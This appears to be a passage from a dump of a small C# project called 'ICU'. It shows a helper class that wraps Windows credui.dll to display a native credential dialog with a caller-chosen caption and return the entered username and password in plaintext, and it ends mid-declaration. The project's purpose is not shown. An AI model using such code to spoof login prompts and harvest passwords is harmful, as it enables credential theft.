├── CredentialUI.cs ├── ICU.csproj ├── ICU.sln ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── README.md └── obj └── Debug ├── DesignTimeResolveAssemblyReferencesInput.cache ├── ICU.csproj.FileListAbsolute.txt ├── ICU.csprojAssemblyReference.cache ├── ICU.exe └── ICU.pdb /CredentialUI.cs: -------------------------------------------------------------------------------- 1 |  2 | using System; 3 | using System.ComponentModel; 4 | using System.Runtime.InteropServices; 5 | using System.Security; 6 | using System.Text; 7 | 8 | /// 9 | /// Credential UI Helper 10 | /// 11 | /// 12 | /// var credentials = CredentialUI.Prompt("Caption", "Message", "DOMAIN\\KazariUiharu", "P@ssw0rd1"); // Vista or 7: PromptForWindowsCredentials / 2000 or XP or 2003: PromptForCredentials 13 | /// var credentials2 = CredentialUI.PromptForWindowsCredentials("Caption", "Message"); 14 | /// Console.WriteLine("UserName: {0}", credentials2.UserName); 15 | /// Console.WriteLine("DomainName: {0}", credentials2.DomainName); 16 | /// Console.WriteLine("Password: {0}", credentials2.Password); 17 | /// 18 | public static class CredentialUI 19 | { 20 | /// 21 | /// Show dialog box for generic credential. 22 | /// 23 | /// 24 | /// 25 | /// 26 | public static PromptCredentialsResult Prompt(String caption, String message) 27 | { 28 | return Prompt(caption, message, null, null); 29 | } 30 | /// 31 | /// Show dialog box for generic credential. 32 | /// 33 | /// 34 | /// 35 | /// 36 | /// 37 | public static PromptCredentialsResult Prompt(String caption, String message, IntPtr hwndParent) 38 | { 39 | return Prompt(caption, message, hwndParent, null, null); 40 | } 41 | /// 42 | /// Show dialog box for generic credential. 43 | /// 44 | /// 45 | /// 46 | /// 47 | /// 48 | /// 49 | public static PromptCredentialsResult Prompt(String caption, String message, String userName, String password) 50 | { 51 | return Prompt(caption, message, IntPtr.Zero, userName, password); 52 | } 53 | /// 54 | /// Show dialog box for generic credential. 55 | /// 56 | /// 57 | /// 58 | /// 59 | /// 60 | /// 61 | /// 62 | public static PromptCredentialsResult Prompt(String caption, String message, IntPtr hwndParent, String userName, String password) 63 | { 64 | if (Environment.OSVersion.Version.Major >= 6) 65 | { 66 | // Windows Vista or 2008 or 7 or later 67 | return PromptForWindowsCredentials(caption, message, hwndParent, userName, password); 68 | } 69 | else 70 | { 71 | // Windows 2000 or 2003 or XP 72 | return PromptForCredentials(Environment.UserDomainName, caption, message, hwndParent, userName, password); 73 | } 74 | } 75 | /// 76 | /// Show dialog box for generic credential. 77 | /// 78 | /// 79 | /// 80 | /// 81 | public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message) 82 | { 83 | return PromptWithSecureString(caption, message, IntPtr.Zero); 84 | } 85 | /// 86 | /// Show dialog box for generic credential. 87 | /// 88 | /// 89 | /// 90 | /// 91 | /// 92 | public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, IntPtr hwndParent) 93 | { 94 | return PromptWithSecureString(caption, message, IntPtr.Zero, null, null); 95 | } 96 | /// 97 | /// Show dialog box for generic credential. 98 | /// 99 | /// 100 | /// 101 | /// 102 | /// 103 | /// 104 | public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, SecureString userName, SecureString password) 105 | { 106 | return PromptWithSecureString(caption, message, IntPtr.Zero, userName, password); 107 | } 108 | /// 109 | /// Show dialog box for generic credential. 110 | /// 111 | /// 112 | /// 113 | /// 114 | /// 115 | /// 116 | /// 117 | public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password) 118 | { 119 | if (Environment.OSVersion.Version.Major >= 6) 120 | { 121 | // Windows Vista or 2008 or 7 or later 122 | return PromptForWindowsCredentialsWithSecureString(caption, message, hwndParent, userName, password); 123 | } 124 | else 125 | { 126 | // Windows 2000 or 2003 or XP 127 | return PromptForCredentialsWithSecureString(Environment.UserDomainName, caption, message, hwndParent, userName, password); 128 | } 129 | } 130 | 131 | 132 | #region Method: PromptForWindowsCredentials 133 | /// 134 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 135 | /// 136 | /// 137 | /// 138 | /// 139 | public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message) 140 | { 141 | return PromptForWindowsCredentials(caption, message, String.Empty, String.Empty); 142 | } 143 | /// 144 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 145 | /// 146 | /// 147 | /// 148 | /// 149 | /// 150 | public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, IntPtr hwndParent) 151 | { 152 | return PromptForWindowsCredentials(caption, message, hwndParent); 153 | } 154 | /// 155 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 156 | /// 157 | /// 158 | /// 159 | /// 160 | /// 161 | /// 162 | public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, String userName, String password) 163 | { 164 | return PromptForWindowsCredentials(caption, message, IntPtr.Zero, userName, password); 165 | } 166 | /// 167 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 168 | /// 169 | /// 170 | /// 171 | /// 172 | /// 173 | /// 174 | /// 175 | public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, IntPtr hwndParent, String userName, String password) 176 | { 177 | PromptForWindowsCredentialsOptions options = new PromptForWindowsCredentialsOptions(caption, message) 178 | { 179 | HwndParent = hwndParent, 180 | IsSaveChecked = false 181 | }; 182 | return PromptForWindowsCredentials(options, userName, password); 183 | 184 | } 185 | /// 186 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 187 | /// 188 | /// 189 | /// 190 | /// 191 | /// 192 | public static PromptCredentialsResult PromptForWindowsCredentials(PromptForWindowsCredentialsOptions options, String userName, String password) 193 | { 194 | if (String.IsNullOrEmpty(userName) && String.IsNullOrEmpty(password)) 195 | return PromptForWindowsCredentialsInternal(options, null, null); 196 | 197 | using (SecureString userNameS = new SecureString()) 198 | using (SecureString passwordS = new SecureString()) 199 | { 200 | if (!String.IsNullOrEmpty(userName)) 201 | { 202 | foreach (var c in userName) 203 | userNameS.AppendChar(c); 204 | } 205 | if (!String.IsNullOrEmpty(password)) 206 | { 207 | foreach (var c in password) 208 | passwordS.AppendChar(c); 209 | } 210 | 211 | userNameS.MakeReadOnly(); 212 | passwordS.MakeReadOnly(); 213 | return PromptForWindowsCredentialsInternal(options, userNameS, passwordS); 214 | } 215 | } 216 | /// 217 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 218 | /// 219 | /// 220 | /// 221 | /// 222 | public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message) 223 | { 224 | return PromptForWindowsCredentialsWithSecureString(caption, message, IntPtr.Zero, null, null); 225 | } 226 | /// 227 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 228 | /// 229 | /// 230 | /// 231 | /// 232 | /// 233 | public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, IntPtr hwndParent) 234 | { 235 | return PromptForWindowsCredentialsWithSecureString(caption, message, hwndParent, null, null); 236 | } 237 | /// 238 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 239 | /// 240 | /// 241 | /// 242 | /// 243 | /// 244 | /// 245 | public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, SecureString userName, SecureString password) 246 | { 247 | return PromptForWindowsCredentialsWithSecureString(caption, message, IntPtr.Zero, userName, password); 248 | } 249 | /// 250 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 251 | /// 252 | /// 253 | /// 254 | /// 255 | /// 256 | /// 257 | /// 258 | public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password) 259 | { 260 | PromptForWindowsCredentialsOptions options = new PromptForWindowsCredentialsOptions(caption, message) 261 | { 262 | HwndParent = hwndParent, 263 | IsSaveChecked = false 264 | }; 265 | return PromptForWindowsCredentialsWithSecureString(options, userName, password); 266 | } 267 | /// 268 | /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. 269 | /// 270 | /// 271 | /// 272 | /// 273 | /// 274 | public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(PromptForWindowsCredentialsOptions options, SecureString userName, SecureString password) 275 | { 276 | return PromptForWindowsCredentialsInternal(options, userName, password); 277 | } 278 | 279 | private static T PromptForWindowsCredentialsInternal(PromptForWindowsCredentialsOptions options, SecureString userName, SecureString password) where T : class, IPromptCredentialsResult 280 | { 281 | NativeMethods.CREDUI_INFO creduiInfo = new NativeMethods.CREDUI_INFO() 282 | { 283 | pszCaptionText = options.Caption, 284 | pszMessageText = options.Message, 285 | hwndParent = options.HwndParent, 286 | hbmBanner = options.HbmBanner 287 | }; 288 | 289 | PromptForWindowsCredentialsFlag credentialsFlag = options.Flags; 290 | 291 | IntPtr userNamePtr = IntPtr.Zero; 292 | IntPtr passwordPtr = IntPtr.Zero; 293 | Int32 authPackage = 0; 294 | IntPtr outAuthBuffer = IntPtr.Zero; 295 | Int32 outAuthBufferSize = 0; 296 | IntPtr inAuthBuffer = IntPtr.Zero; 297 | Int32 inAuthBufferSize = 0; 298 | Boolean save = options.IsSaveChecked; 299 | try 300 | { 301 | if (userName != null || password != null) 302 | { 303 | if (userName == null) 304 | userName = new SecureString(); 305 | if (password == null) 306 | password = new SecureString(); 307 | userNamePtr = Marshal.SecureStringToCoTaskMemUnicode(userName); 308 | passwordPtr = Marshal.SecureStringToCoTaskMemUnicode(password); 309 | } 310 | 311 | // prefilled with UserName or Password 312 | if (userNamePtr != IntPtr.Zero || passwordPtr != IntPtr.Zero) 313 | { 314 | inAuthBufferSize = 1024; 315 | inAuthBuffer = Marshal.AllocCoTaskMem(inAuthBufferSize); 316 | if ( 317 | !NativeMethods.CredPackAuthenticationBuffer(0x00, userNamePtr, passwordPtr, inAuthBuffer, 318 | ref inAuthBufferSize)) 319 | { 320 | var win32Error = Marshal.GetLastWin32Error(); 321 | if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/) 322 | { 323 | inAuthBuffer = Marshal.ReAllocCoTaskMem(inAuthBuffer, inAuthBufferSize); 324 | if ( 325 | !NativeMethods.CredPackAuthenticationBuffer(0x00, userNamePtr, passwordPtr, inAuthBuffer, 326 | ref inAuthBufferSize)) 327 | { 328 | throw new Win32Exception(Marshal.GetLastWin32Error()); 329 | } 330 | } 331 | else 332 | { 333 | throw new Win32Exception(win32Error); 334 | } 335 | } 336 | } 337 | 338 | var retVal = NativeMethods.CredUIPromptForWindowsCredentials(creduiInfo, 339 | options.AuthErrorCode, 340 | ref authPackage, 341 | inAuthBuffer, 342 | inAuthBufferSize, 343 | out outAuthBuffer, 344 | out outAuthBufferSize, 345 | ref save, 346 | credentialsFlag 347 | ); 348 | 349 | switch (retVal) 350 | { 351 | case NativeMethods.CredUIPromptReturnCode.Cancelled: 352 | return null; 353 | case NativeMethods.CredUIPromptReturnCode.Success: 354 | break; 355 | default: 356 | throw new Win32Exception((Int32)retVal); 357 | } 358 | 359 | 360 | if (typeof(T) == typeof(PromptCredentialsSecureStringResult)) 361 | { 362 | var credResult = NativeMethods.CredUnPackAuthenticationBufferWrapSecureString(true, outAuthBuffer, outAuthBufferSize); 363 | credResult.IsSaveChecked = save; 364 | return credResult as T; 365 | } 366 | else 367 | { 368 | var credResult = NativeMethods.CredUnPackAuthenticationBufferWrap(true, outAuthBuffer, outAuthBufferSize); 369 | credResult.IsSaveChecked = save; 370 | return credResult as T; 371 | } 372 | } 373 | finally 374 | { 375 | if (inAuthBuffer != IntPtr.Zero) 376 | Marshal.ZeroFreeCoTaskMemUnicode(inAuthBuffer); 377 | if (outAuthBuffer != IntPtr.Zero) 378 | Marshal.ZeroFreeCoTaskMemUnicode(outAuthBuffer); 379 | if (userNamePtr != IntPtr.Zero) 380 | Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr); 381 | if (passwordPtr != IntPtr.Zero) 382 | Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr); 383 | } 384 | } 385 | #endregion 386 | 387 | #region Method: PromptForCredentials 388 | /// 389 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 390 | /// 391 | /// 392 | /// 393 | /// 394 | /// 395 | public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message) 396 | { 397 | return PromptForCredentials(new PromptForCredentialsOptions(targetName, caption, message)); 398 | } 399 | /// 400 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 401 | /// 402 | /// 403 | /// 404 | /// 405 | /// 406 | /// 407 | public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, IntPtr hwndParent) 408 | { 409 | return PromptForCredentials(targetName, caption, message, hwndParent); 410 | } 411 | /// 412 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 413 | /// 414 | /// 415 | /// 416 | /// 417 | /// 418 | /// 419 | /// 420 | public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, String userName, String password) 421 | { 422 | return PromptForCredentials(targetName, caption, message, IntPtr.Zero, userName, password); 423 | } 424 | /// 425 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 426 | /// 427 | /// 428 | /// 429 | /// 430 | /// 431 | /// 432 | /// 433 | /// 434 | public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, IntPtr hwndParent, String userName, String password) 435 | { 436 | return PromptForCredentials(new PromptForCredentialsOptions(targetName, caption, message) { HwndParent = hwndParent }, userName, password); 437 | } 438 | /// 439 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 440 | /// 441 | /// 442 | /// 443 | public static PromptCredentialsResult PromptForCredentials(PromptForCredentialsOptions options) 444 | { 445 | return PromptForCredentials(options, null, null); 446 | } 447 | /// 448 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 449 | /// 450 | /// 451 | /// 452 | /// 453 | /// 454 | public static PromptCredentialsResult PromptForCredentials(PromptForCredentialsOptions options, String userName, String password) 455 | { 456 | using (SecureString userNameS = new SecureString()) 457 | using (SecureString passwordS = new SecureString()) 458 | { 459 | if (!String.IsNullOrEmpty(userName)) 460 | { 461 | foreach (var c in userName) 462 | userNameS.AppendChar(c); 463 | } 464 | if (!String.IsNullOrEmpty(password)) 465 | { 466 | foreach (var c in password) 467 | passwordS.AppendChar(c); 468 | } 469 | 470 | userNameS.MakeReadOnly(); 471 | passwordS.MakeReadOnly(); 472 | return PromptForCredentialsInternal(options, userNameS, passwordS); 473 | } 474 | } 475 | /// 476 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 477 | /// 478 | /// 479 | /// 480 | /// 481 | /// 482 | public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message) 483 | { 484 | return PromptForCredentialsWithSecureString(new PromptForCredentialsOptions(targetName, caption, message)); 485 | } 486 | /// 487 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 488 | /// 489 | /// 490 | /// 491 | /// 492 | /// 493 | /// 494 | public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, IntPtr hwndParent) 495 | { 496 | return PromptForCredentialsWithSecureString(targetName, caption, message, hwndParent, null, null); 497 | } 498 | /// 499 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 500 | /// 501 | /// 502 | /// 503 | /// 504 | /// 505 | /// 506 | /// 507 | public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, SecureString userName, SecureString password) 508 | { 509 | return PromptForCredentialsWithSecureString(targetName, caption, message, IntPtr.Zero, userName, password); 510 | } 511 | /// 512 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 513 | /// 514 | /// 515 | /// 516 | /// 517 | /// 518 | /// 519 | /// 520 | /// 521 | public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password) 522 | { 523 | return PromptForCredentialsWithSecureString(new PromptForCredentialsOptions(targetName, caption, message) { HwndParent = hwndParent }, userName, password); 524 | } 525 | /// 526 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 527 | /// 528 | /// 529 | /// 530 | public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(PromptForCredentialsOptions options) 531 | { 532 | return PromptForCredentialsInternal(options, null, null); 533 | } 534 | /// 535 | /// Creates and displays a configurable dialog box that accepts credentials information from a user. 536 | /// 537 | /// 538 | /// 539 | /// 540 | /// 541 | public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(PromptForCredentialsOptions options, SecureString userName, SecureString password) 542 | { 543 | return PromptForCredentialsInternal(options, userName, password); 544 | } 545 | 546 | private static T PromptForCredentialsInternal(PromptForCredentialsOptions options, SecureString userName, SecureString password) where T : class, IPromptCredentialsResult 547 | { 548 | if (options == null) 549 | throw new ArgumentNullException("options"); 550 | if (userName != null && (userName.Length > NativeMethods.CREDUI_MAX_USERNAME_LENGTH)) 551 | throw new ArgumentOutOfRangeException("userName", "CREDUI_MAX_USERNAME_LENGTH"); 552 | if (password != null && (password.Length > NativeMethods.CREDUI_MAX_PASSWORD_LENGTH)) 553 | throw new ArgumentOutOfRangeException("password", "CREDUI_MAX_PASSWORD_LENGTH"); 554 | 555 | NativeMethods.CREDUI_INFO creduiInfo = new NativeMethods.CREDUI_INFO() 556 | { 557 | pszCaptionText = options.Caption, 558 | pszMessageText = options.Message, 559 | hwndParent = options.HwndParent, 560 | hbmBanner = options.HbmBanner 561 | }; 562 | IntPtr userNamePtr = IntPtr.Zero; 563 | IntPtr passwordPtr = IntPtr.Zero; 564 | Boolean save = options.IsSaveChecked; 565 | try 566 | { 567 | // The maximum number of characters that can be copied to (pszUserName|szPassword) including the terminating null character. 568 | if (userName == null) 569 | { 570 | userNamePtr = Marshal.AllocCoTaskMem((NativeMethods.CREDUI_MAX_USERNAME_LENGTH + 1) * sizeof(Int16)); 571 | Marshal.WriteInt16(userNamePtr, 0, 0x00); 572 | } 573 | else 574 | { 575 | userNamePtr = Marshal.SecureStringToCoTaskMemUnicode(userName); 576 | userNamePtr = Marshal.ReAllocCoTaskMem(userNamePtr, (NativeMethods.CREDUI_MAX_USERNAME_LENGTH + 1) * sizeof(Int16)); 577 | } 578 | 579 | if (password == null) 580 | { 581 | passwordPtr = Marshal.AllocCoTaskMem((NativeMethods.CREDUI_MAX_PASSWORD_LENGTH + 1) * sizeof(Int16)); 582 | Marshal.WriteInt16(passwordPtr, 0, 0x00); 583 | } 584 | else 585 | { 586 | passwordPtr = Marshal.SecureStringToCoTaskMemUnicode(password); 587 | passwordPtr = Marshal.ReAllocCoTaskMem(passwordPtr, (NativeMethods.CREDUI_MAX_PASSWORD_LENGTH + 1) * sizeof(Int16)); 588 | } 589 | Marshal.WriteInt16(userNamePtr, NativeMethods.CREDUI_MAX_USERNAME_LENGTH * sizeof(Int16), 0x00); 590 | Marshal.WriteInt16(passwordPtr, NativeMethods.CREDUI_MAX_PASSWORD_LENGTH * sizeof(Int16), 0x00); 591 | 592 | var retVal = NativeMethods.CredUIPromptForCredentials(creduiInfo, 593 | options.TargetName, 594 | IntPtr.Zero, 595 | options.AuthErrorCode, 596 | userNamePtr, 597 | NativeMethods.CREDUI_MAX_USERNAME_LENGTH, 598 | passwordPtr, 599 | NativeMethods.CREDUI_MAX_PASSWORD_LENGTH, 600 | ref save, 601 | options.Flags); 602 | switch (retVal) 603 | { 604 | case NativeMethods.CredUIPromptReturnCode.Cancelled: 605 | return null; 606 | case NativeMethods.CredUIPromptReturnCode.InvalidParameter: 607 | throw new Win32Exception((Int32)retVal); 608 | case NativeMethods.CredUIPromptReturnCode.InvalidFlags: 609 | throw new Win32Exception((Int32)retVal); 610 | case NativeMethods.CredUIPromptReturnCode.Success: 611 | break; 612 | default: 613 | throw new Win32Exception((Int32)retVal); 614 | } 615 | 616 | 617 | if (typeof(T) == typeof(PromptCredentialsSecureStringResult)) 618 | { 619 | return new PromptCredentialsSecureStringResult 620 | { 621 | UserName = NativeMethods.PtrToSecureString(userNamePtr), 622 | Password = NativeMethods.PtrToSecureString(passwordPtr), 623 | IsSaveChecked = save 624 | } as T; 625 | } 626 | else 627 | { 628 | return new PromptCredentialsResult 629 | { 630 | UserName = Marshal.PtrToStringUni(userNamePtr), 631 | Password = Marshal.PtrToStringUni(passwordPtr), 632 | IsSaveChecked = save 633 | } as T; 634 | } 635 | } 636 | finally 637 | { 638 | if (userNamePtr != IntPtr.Zero) 639 | Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr); 640 | if (passwordPtr != IntPtr.Zero) 641 | Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr); 642 | } 643 | } 644 | #endregion 645 | 646 | /// 647 | /// 648 | /// 649 | [Flags] 650 | public enum PromptForWindowsCredentialsFlag 651 | { 652 | /// 653 | /// Plain text username/password is being requested 654 | /// 655 | CREDUIWIN_GENERIC = 0x00000001, 656 | /// 657 | /// Show the Save Credential checkbox 658 | /// 659 | CREDUIWIN_CHECKBOX = 0x00000002, 660 | /// 661 | /// Only Cred Providers that support the input auth package should enumerate 662 | /// 663 | CREDUIWIN_AUTHPACKAGE_ONLY = 0x00000010, 664 | /// 665 | /// Only the incoming cred for the specific auth package should be enumerated 666 | /// 667 | CREDUIWIN_IN_CRED_ONLY = 0x00000020, 668 | /// 669 | /// Cred Providers should enumerate administrators only 670 | /// 671 | CREDUIWIN_ENUMERATE_ADMINS = 0x00000100, 672 | /// 673 | /// Only the incoming cred for the specific auth package should be enumerated 674 | /// 675 | CREDUIWIN_ENUMERATE_CURRENT_USER = 0x00000200, 676 | /// 677 | /// The Credui prompt should be displayed on the secure desktop 678 | /// 679 | CREDUIWIN_SECURE_PROMPT = 0x00001000, 680 | /// 681 | /// Tell the credential provider it should be packing its Auth Blob 32 bit even though it is running 64 native 682 | /// 683 | CREDUIWIN_PACK_32_WOW = 0x10000000 684 | } 685 | 686 | /// 687 | /// 688 | /// 689 | [Flags] 690 | public enum PromptForCredentialsFlag 691 | { 692 | /// 693 | /// indicates the username is valid, but password is not 694 | /// 695 | CREDUI_FLAGS_INCORRECT_PASSWORD = 0x00001, 696 | /// 697 | /// Do not show "Save" checkbox, and do not persist credentials 698 | /// 699 | CREDUI_FLAGS_DO_NOT_PERSIST = 0x00002, 700 | /// 701 | /// Populate list box with admin accounts 702 | /// 703 | CREDUI_FLAGS_REQUEST_ADMINISTRATOR = 0x00004, 704 | /// 705 | /// do not include certificates in the drop list 706 | /// 707 | CREDUI_FLAGS_EXCLUDE_CERTIFICATES = 0x00008, 708 | /// 709 | /// 710 | /// 711 | CREDUI_FLAGS_REQUIRE_CERTIFICATE = 0x00010, 712 | /// 713 | /// 714 | /// 715 | CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX = 0x00040, 716 | /// 717 | /// 718 | /// 719 | CREDUI_FLAGS_ALWAYS_SHOW_UI = 0x00080, 720 | /// 721 | /// 722 | /// 723 | CREDUI_FLAGS_REQUIRE_SMARTCARD = 0x00100, 724 | /// 725 | /// 726 | /// 727 | CREDUI_FLAGS_PASSWORD_ONLY_OK = 0x00200, 728 | /// 729 | /// 730 | /// 731 | CREDUI_FLAGS_VALIDATE_USERNAME = 0x00400, 732 | /// 733 | /// 734 | /// 735 | CREDUI_FLAGS_COMPLETE_USERNAME = 0x00800, 736 | /// 737 | /// Do not show "Save" checkbox, but persist credentials anyway 738 | /// 739 | CREDUI_FLAGS_PERSIST = 0x01000, 740 | /// 741 | /// 742 | /// 743 | CREDUI_FLAGS_SERVER_CREDENTIAL = 0x04000, 744 | /// 745 | /// do not persist unless caller later confirms credential via CredUIConfirmCredential() api 746 | /// 747 | CREDUI_FLAGS_EXPECT_CONFIRMATION = 0x20000, 748 | /// 749 | /// Credential is a generic credential 750 | /// 751 | CREDUI_FLAGS_GENERIC_CREDENTIALS = 0x40000, 752 | /// 753 | /// Credential has a username as the target 754 | /// 755 | CREDUI_FLAGS_USERNAME_TARGET_CREDENTIALS = 0x80000, 756 | /// 757 | /// don't allow the user to change the supplied username 758 | /// 759 | CREDUI_FLAGS_KEEP_USERNAME = 0x100000 760 | } 761 | 762 | /// 763 | /// 764 | /// 765 | public class PromptForWindowsCredentialsOptions 766 | { 767 | private String _caption; 768 | private String _message; 769 | public String Caption 770 | { 771 | get { return _caption; } 772 | set 773 | { 774 | if (value.Length > NativeMethods.CREDUI_MAX_CAPTION_LENGTH) 775 | throw new ArgumentOutOfRangeException("value"); 776 | _caption = value; 777 | } 778 | } 779 | public String Message 780 | { 781 | get { return _message; } 782 | set 783 | { 784 | if (value.Length > NativeMethods.CREDUI_MAX_MESSAGE_LENGTH) 785 | throw new ArgumentOutOfRangeException("value"); 786 | _message = value; 787 | } 788 | } 789 | public IntPtr HwndParent { get; set; } 790 | public IntPtr HbmBanner { get; set; } 791 | public Boolean IsSaveChecked { get; set; } 792 | public PromptForWindowsCredentialsFlag Flags { get; set; } 793 | public Int32 AuthErrorCode { get; set; } 794 | public PromptForWindowsCredentialsOptions(String caption, String message) 795 | { 796 | if (String.IsNullOrEmpty(caption)) 797 | throw new ArgumentNullException("caption"); 798 | if (String.IsNullOrEmpty(message)) 799 | throw new ArgumentNullException("message"); 800 | Caption = caption; 801 | Message = message; 802 | Flags = PromptForWindowsCredentialsFlag.CREDUIWIN_GENERIC; 803 | } 804 | } 805 | /// 806 | /// 807 | /// 808 | public class PromptForCredentialsOptions 809 | { 810 | private String _caption; 811 | private String _message; 812 | public String Caption 813 | { 814 | get { return _caption; } 815 | set 816 | { 817 | if (value.Length > NativeMethods.CREDUI_MAX_CAPTION_LENGTH) 818 | throw new ArgumentOutOfRangeException("value"); 819 | _caption = value; 820 | } 821 | } 822 | public String Message 823 | { 824 | get { return _message; } 825 | set 826 | { 827 | if (value.Length > NativeMethods.CREDUI_MAX_MESSAGE_LENGTH) 828 | throw new ArgumentOutOfRangeException("value"); 829 | _message = value; 830 | } 831 | } 832 | public String TargetName { get; set; } 833 | public IntPtr HwndParent { get; set; } 834 | public IntPtr HbmBanner { get; set; } 835 | public Boolean IsSaveChecked { get; set; } 836 | public PromptForCredentialsFlag Flags { get; set; } 837 | public Int32 AuthErrorCode { get; set; } 838 | public PromptForCredentialsOptions(String targetName, String caption, String message) 839 | { 840 | if (String.IsNullOrEmpty(targetName)) 841 | throw new ArgumentNullException("targetName"); 842 | if (String.IsNullOrEmpty(caption)) 843 | throw new ArgumentNullException("caption"); 844 | if (String.IsNullOrEmpty(message)) 845 | throw new ArgumentNullException("message"); 846 | TargetName = targetName; 847 | Caption = caption; 848 | Message = message; 849 | Flags = PromptForCredentialsFlag.CREDUI_FLAGS_GENERIC_CREDENTIALS | PromptForCredentialsFlag.CREDUI_FLAGS_DO_NOT_PERSIST; 850 | } 851 | } 852 | 853 | private static class NativeMethods 854 | { 855 | public const Int32 CREDUI_MAX_MESSAGE_LENGTH = 32767; 856 | public const Int32 CREDUI_MAX_CAPTION_LENGTH = 128; 857 | public const Int32 CRED_MAX_USERNAME_LENGTH = (256 + 1 + 256); 858 | public const Int32 CREDUI_MAX_USERNAME_LENGTH = CRED_MAX_USERNAME_LENGTH; 859 | public const Int32 CREDUI_MAX_PASSWORD_LENGTH = (512 / 2); 860 | 861 | public enum CredUIPromptReturnCode 862 | { 863 | Success = 0, 864 | Cancelled = 1223, 865 | InvalidParameter = 87, 866 | InvalidFlags = 1004 867 | } 868 | 869 | [StructLayout(LayoutKind.Sequential)] 870 | public class CREDUI_INFO 871 | { 872 | public Int32 cbSize; 873 | public IntPtr hwndParent; 874 | [MarshalAs(UnmanagedType.LPWStr)] 875 | public String pszMessageText; 876 | [MarshalAs(UnmanagedType.LPWStr)] 877 | public String pszCaptionText; 878 | public IntPtr hbmBanner; 879 | 880 | public CREDUI_INFO() 881 | { 882 | cbSize = Marshal.SizeOf(typeof(CREDUI_INFO)); 883 | } 884 | } 885 | 886 | // 887 | // CredUIPromptForCredentials ------------------------------------- 888 | // 889 | [DllImport("credui.dll", CharSet = CharSet.Unicode)] 890 | public static extern CredUIPromptReturnCode CredUIPromptForCredentials( 891 | CREDUI_INFO pUiInfo, 892 | String pszTargetName, 893 | IntPtr Reserved, 894 | Int32 dwAuthError, 895 | IntPtr pszUserName, 896 | Int32 ulUserNameMaxChars, 897 | IntPtr pszPassword, 898 | Int32 ulPasswordMaxChars, 899 | ref Boolean pfSave, 900 | PromptForCredentialsFlag dwFlags 901 | ); 902 | 903 | // 904 | // CredUIPromptForWindowsCredentials ------------------------------ 905 | // 906 | [DllImport("credui.dll", CharSet = CharSet.Unicode)] 907 | public static extern CredUIPromptReturnCode 908 | CredUIPromptForWindowsCredentials( 909 | CREDUI_INFO pUiInfo, 910 | Int32 dwAuthError, 911 | ref Int32 pulAuthPackage, 912 | IntPtr pvInAuthBuffer, 913 | Int32 ulInAuthBufferSize, 914 | out IntPtr ppvOutAuthBuffer, 915 | out Int32 pulOutAuthBufferSize, 916 | ref Boolean pfSave, 917 | PromptForWindowsCredentialsFlag dwFlags 918 | ); 919 | 920 | [DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)] 921 | public static extern Boolean CredPackAuthenticationBuffer( 922 | Int32 dwFlags, 923 | String pszUserName, 924 | String pszPassword, 925 | IntPtr pPackedCredentials, 926 | ref Int32 pcbPackedCredentials 927 | ); 928 | [DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)] 929 | public static extern Boolean CredPackAuthenticationBuffer( 930 | Int32 dwFlags, 931 | IntPtr pszUserName, 932 | IntPtr pszPassword, 933 | IntPtr pPackedCredentials, 934 | 